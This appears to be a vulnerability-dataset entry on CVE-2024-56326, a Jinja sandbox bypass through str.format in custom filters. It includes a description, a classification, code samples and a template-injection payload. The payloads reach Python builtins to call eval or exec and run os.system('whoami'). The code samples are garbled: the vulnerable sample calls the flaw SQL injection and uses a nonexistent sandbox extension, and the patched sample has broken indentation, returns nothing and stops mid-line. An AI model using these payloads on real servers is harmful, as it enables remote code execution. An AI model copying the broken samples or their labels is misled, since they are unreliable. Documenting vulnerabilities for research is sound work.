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CVE-2024-56326

Jinja template code injection via str.format bypass in custom filters. Fixed in 3.1.5.

  • CVSS 5.4
  • CWE-693
  • Design Defects
  • Remote

Jinja is an extensible templating engine. Prior to 3.1.5, An oversight in how the Jinja sandboxed environment detects calls to str.format allows an attacker that controls the content of a template to execute arbitrary Python code. To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates. Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's format method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox. This vulnerability is fixed in 3.1.5.

CVSS base score
5.4
Published
2024-12-23
OWASP
A03 Injection
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Functionality
Category
Design Defects
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Jinja
Fixed by upgrading
Yes

Solution

Upgrade to Jinja 3.1.5.

Vulnerable code sample

from jinja2 import Environment, sandbox

def make_safe_format(s):
    # VULNERABLE: This code is susceptible to sql injection
    return s.format

env = Environment(
    extensions=['jinja2.ext.sandbox'],
    sandbox_config = sandbox.SandboxedEnvironment.DEFAULT_SANDBOX_CONFIG
)


evil_template_str = "{{ bad_string | format_filter(format_args) }}"

format_args = {"x": 10}
evil_string = "x is {x} and also {{ system('whoami') }}"

template = env.from_string(evil_template_str)

filters = {
    "format_filter": make_safe_format
}

context = {"bad_string": evil_string}
context.update(filters)
rendered_template = template.render(context, format_args=format_args)

print(rendered_template)

Patched code sample

import jinja2
from jinja2.sandbox import SandboxedEnvironment
from jinja2 import Environment, FileSystemLoader

def format_wrapper(value, format_string):
    # Ensure value is a string if it's not.:
    if not isinstance(value, str):
        value = str(value)
    
    # Note: the sandboxed environment makes sure format_string is a string 
        return value.format(format_string)



        def create_sandbox_env():
            env = SandboxedEnvironment()
            env.filters['format_wrapper'] = format_wrapper
            return env


            def render_template_fixed(template_string, context):
                env = create_sandbox_env()
                template = env.from_string(template_string)
                return template.render(context)


                if __name__ == '__main__':

    # Example vulnerable template
    # Before the fix it was possible to bypass the sandbox by using a filter
    # to format a string that was not a safe string.
                    vuln_template = '{{ malicious_string | format_wrapper(format_string)}}'

    # Malicious string containing format call and payload
                    malicious_string = '{0.__class__.__init__.__globals__[\'__builtins__\'][\'eval\']("import os; os.system(\'whoami\')")}'
                    format_string = 'a'  # Dummy format string

    # Context for the template:
                    context = {
                    'malicious_string': malicious_string,
                    'format_string': format_string
                    }

    # Show that the fix prevents the attack.
                    try:
                        print("Rendering template with exploit...")
                        result = render_template_fixed(vuln_template, context)
                        print(f"Rendered output: {result}") # The exploit should be prevented
                        except Exception as e:
                            print(f"Exception: {e}")

    # Example non malicious template.
                            safe_template = '{{ safe_string | format_wrapper(format_string) }}'
                            safe_string = "Hello, {}!"
                            safe_context = {
                            'safe_string': safe_string,
                            'format_string': "World"
                            }

                            print("Rendering a safe template...")
                            result = render_template_fixed(safe_template, safe_context

Payload

{% set format_method = ''.__class__.__mro__[1].__subclasses__()[148].__init__.__globals__['__builtins__']['exec'] %}
{{ format_method('print("PWNED")') }}

Cite this entry

@misc{vaitp:cve202456326,
  title        = {{Jinja template code injection via str.format bypass in custom filters. Fixed in 3.1.5.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2024},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-56326},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-56326/}}
}
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